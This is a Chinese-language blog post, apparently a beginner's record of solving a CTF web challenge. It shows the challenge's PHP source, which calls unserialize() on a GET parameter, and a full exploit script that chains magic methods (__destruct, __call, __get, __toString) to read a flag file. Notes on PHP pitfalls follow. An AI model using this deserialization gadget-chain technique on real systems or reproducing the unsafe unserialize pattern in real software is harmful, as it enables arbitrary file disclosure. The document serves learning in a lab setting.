php反序列化漏洞入门记录

204 阅读2分钟

新生赛一道web题的最后一步是这样的:给了你php源码:

<?php
error_reporting(0);
/*
 * flag in /home/flaaag.txt and go to flag.php
 *
 */
class A extends service {
	public $event;
	function __construct($event) {
		$this->event = $event;
	}
	function __destruct() {
		$flag = $this->event["name"];
		return $this->$flag();
	}
}

class read {
	public $filename;
	function __construct($filename) {
		$this->filename = $filename;
	}
	function __toString() {
		if (isset($this->filename)) {
			$res = file_get_contents($this->filename);
		} else {
			$res = "nonononono";
		}
		return $res;
	}
}

class test {
	public $file;
	function __construct($f) {
		$this->file = $f;
	}
	function __get($txey) {
		echo $this->file;
	}
}

class service {
	public $server;
	public $str;
	function __call($method, $args) {
		if (is_string($this->server->str)) {
			echo "hello" . $method . $this->server->str;
		} else {
			die("");
		}
	}
}

if (isset($_GET["cmd"])) {
	unserialize($_GET["cmd"]);
} else {
	echo "now get flag!";
}
just a test!试试tmp下的hint.php呗

大概就是通过在xxxx/flag.php后加get值cmd,并通过反序列化漏洞把/home/flaaag.txt里面的文本打印出来。

因为不会php,学了一早上php,看了半个下午CTFER从0到1里的反序列化漏洞(还没看完),再码了半个下午exploit,终于a出来了。exploit如下:

<?php
/*思路:
 * A调用test打印read
 *
 */
class test {
	public $file;
	function __construct($f) {
		$this->file = $f;
	}
	function __get($txey) {/
		echo $this->file;
	}
}
class read {//obj.read(flag.txt)可以返回flag.txt里面的文字
	public $filename;
	function __construct($filename) {
		$this->filename = $filename;
	}
	function __toString() {
		if (isset($this->filename)) {
			$res = file_get_contents($this->filename);
		} else {
			$res = "nonononono";
		}
		return $res;
	}
}
class service {
	public $server;
	public $str;
	function __call($method, $args) {
		if (is_string($this->server->str)) {//server是一个对象,str鬼知道是什么
			echo "hello" . $method . $this->server->str;
		} else {
			die("");
		}
	}
}
class A extends service {
	public $event;//数组,键值对
	function __construct($event) {
		$this->event = $event;
	}
	function __destruct() {
		$flag = $this->event["name"];
		return $this->$flag();
	}
	/*
	event=("name"=>"function_name")
	那么类A被销毁的时候会执行function_name()函数,这也是exploit的切入点
	*/
}

$r=new read("/home/flaaag.txt");//直接访问r的时候会返回flag文本
$t=new test($r);//在其他地方访问t.file时就会打印flag
$event=array("name"=>"notexist");
$a=new A($event);
$a->server=$t;//t中的str不存在,调用了t中的__get()方法
echo urlencode(serialize($a));

?>

最后是在c.runoob.com/compile/1/ 跑的代码

记录几个坑人的地方:

1.php变量名前面要加$,真烦,错了好多次

2.php对象的子集连接符号是"->",因为之前学java,老打成"."

3.这个我现在还没搞懂:就是最后是用test中的方法打印的flag,但是不知怎的又和server中的echo扯上了关系。而test中__get()方法居然能在没有protected和private属性的时候被调用。这我可受不住。。

4.睡了一觉终于搞懂3了。如果访问对象中不存在的属性时也会调用__get()方法,这是我在别人的一段代码里看到的。

事实上,如果仔细看手册的话不会有问题,原文如下:

读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。